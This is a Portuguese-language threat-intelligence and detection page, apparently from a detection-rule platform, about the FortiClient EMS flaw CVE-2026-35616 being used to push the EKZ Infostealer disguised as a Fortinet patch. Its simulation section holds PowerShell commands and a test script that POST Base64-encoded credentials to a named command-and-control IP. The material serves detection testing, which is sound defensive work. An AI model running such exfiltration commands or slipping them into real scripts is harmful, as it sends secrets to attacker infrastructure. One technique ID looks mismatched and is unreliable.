FortiClient EMS Explorado via CVE-2026-35616 para Distribuir EKZ Infostealer Disfarçado como um Patch da Fortinet
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
A Arctic Wolf identificou uma campanha que explorou CVE-2026-35616 no FortiClient EMS para distribuir um script PowerShell malicioso para endpoints gerenciados. Esse script recuperou e lançou uma carga útil de roubo de credenciais conhecida como EKZ Infostealer enquanto se fazia passar por um patch legítimo do Fortinet. O malware coletou senhas de navegadores, cookies e informações de preenchimento automático, depois exfiltrou os dados roubados via HTTP. Ao abusar dos canais de configuração confiáveis do EMS, os atacantes conseguiram executar a carga útil rapidamente em vários dispositivos gerenciados.
Investigação
Pesquisadores recriaram o exploit enviando requisições HTTP não autenticadas especialmente formatadas para as APIs do FortiClient EMS, resultando em mudanças de configuração que inseriram scripts maliciosos. Os traços de execução mostraram fortitray.exe or ipsec.exe gerando cmd.exe, que por sua vez lançou um comando PowerShell codificado em Base64 que baixou p.exe de um endereço IP malicioso. A carga útil escreveu um arquivo log.txt em ProgramData, enviou os dados capturados de volta para o mesmo servidor e então deletou-se.
Mitigação
As organizações devem atualizar o FortiClient EMS para uma versão que corrija CVE-2026-35616 e restringir o acesso à API a endereços IP de origem aprovados. Os defensores também devem revisar os logs do EMS para erros relacionados ao certificado e mudanças inesperadas nos Perfis de Acesso Remoto. O tráfego HTTP de saída dos endpoints para endereços IP desconhecidos deve ser bloqueado, e a execução de scripts nos fluxos de trabalho do perfil de VPN deve ser limitada por meio de controles de menor privilégio.
Resposta
Se esta atividade for detectada, isole imediatamente os hosts afetados, revogue quaisquer contas EMS não autorizadas que possam ter sido criadas e remova arquivos de script maliciosos do diretório de logs do FortiClient. Os investigadores devem preservar o log.txt artefato, calcular hashes para os binários maliciosos e buscar por indicadores correspondentes em todo o ambiente. Credenciais de navegador expostas devem ser redefinidas, e as equipes devem monitorar atividades de autenticação suspeitas que possam seguir ao roubo.
Fluxo de Ataque
Detecções
Nome Curto de Arquivo (via cmdline)
Ver
Uso Suspeito de CURL (via cmdline)
Ver
Chamando Métodos .NET Suspeitos através do Powershell (via powershell)
Ver
Possível Atividade de Transferência de Bits (via powershell)
Ver
IOCs (HashSha256) para detectar: FortiClient EMS Explorados via CVE-2026-35616 para Entregar EKZ Infostealer Disfarçado como um Patch Fortinet
Ver
IOCs (HashSha1) para detectar: FortiClient EMS Explorados via CVE-2026-35616 para Entregar EKZ Infostealer Disfarçado como um Patch Fortinet
Ver
IOCs (HashMd5) para detectar: FortiClient EMS Explorados via CVE-2026-35616 para Entregar EKZ Infostealer Disfarçado como um Patch Fortinet
Ver
IOCs (SourceIP) para detectar: FortiClient EMS Explorados via CVE-2026-35616 para Entregar EKZ Infostealer Disfarçado como um Patch Fortinet
Ver
IOCs (DestinationIP) para detectar: FortiClient EMS Explorados via CVE-2026-35616 para Entregar EKZ Infostealer Disfarçado como um Patch Fortinet
Ver
Exfiltração de Credenciais pelo EKZ Infostealer via HTTP POST [Conexão de Rede do Windows]
Ver
FortiClient EMS Explorados via CVE-2026-35616 para Entregar EKZ Infostealer [Criação de Processo no Windows]
Ver
Execução de PowerShell via FortiClient para Entregar EKZ Infostealer [Powershell no Windows]
Ver
Execução de Simulação
Pré-requisito: O Check de Pré-voo de Telemetria & Base deve ter sido aprovado.
Racional: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visar gerar a telemetria exata esperada pela lógica de detecção. Exemplos abstratos ou não relacionados levarão a diagnósticos imprecisos.
-
Narrativa & Comandos de Ataque:
O atacante já colheu credenciais do registro do Windows (família T1216) usando o EKZ Infostealer. Para exfiltrar o blob coletado, o malware lança um one-liner do PowerShell que faz um POST das credenciais codificadas em Base64 para o servidor de comando e controle em83.138.53.110. O uso de PowerShell (Invoke-WebRequest) é uma técnica clássica de living-off-the-land que evade detecções baseadas em binários enquanto ainda produz telemetria de rede observável pelo firewall.powershell # Payload de credencial simulado (Base64 de "user:pass") $payload = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes("administrator:Password123!")) $uri = "http://83.138.53.110/collect" Invoke-WebRequest -Uri $uri -Method POST -Body $payload -ContentType "application/x-www-form-urlencoded" -
Script de Teste de Regressão: Este script PowerShell autônomo reproduz a etapa de exfiltração e pode ser executado novamente para futuras regressões.
powershell <# .SYNOPSIS Simulação de exfiltração de credenciais pelo EKZ Infostealer (HTTP POST). .DESCRIPTION Gera um blob de credencial falso, o codifica e faz POST para o IP malicioso conhecido usado na regra de detecção. .NOTES Requer HTTP de saída permitido para 83.138.53.110 na porta 80. #> # ---- Preparação ---- $creds = "admin_user:SuperSecret!" $b64 = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($creds)) $target = "http://83.138.53.110/collect" # ---- Execução ---- try { Write-Host "[*] Enviando blob de credencial para $target ..." $resp = Invoke-WebRequest -Uri $target -Method POST -Body $b64 -ContentType "application/x-www-form-urlencoded" -UseBasicParsing Write-Host "[+] Status HTTP:" $resp.StatusCode } catch { Write-Error "[-] POST falhou: $_" } # ---- Fim do script ---- -
Comandos de Limpeza: Nenhum artefato persistente é criado no disco, mas para ser completo, fechamos qualquer sessão de solicitação web pendente e limpamos a variável PowerShell.
powershell # Limpar variáveis e fechar quaisquer sessões web abertas Remove-Variable -Name creds,b64,target -ErrorAction SilentlyContinue if (Get-Command -Name Remove-WebRequestSession -ErrorAction SilentlyContinue) { Remove-WebRequestSession -All } Write-Host "[*] Limpeza completa."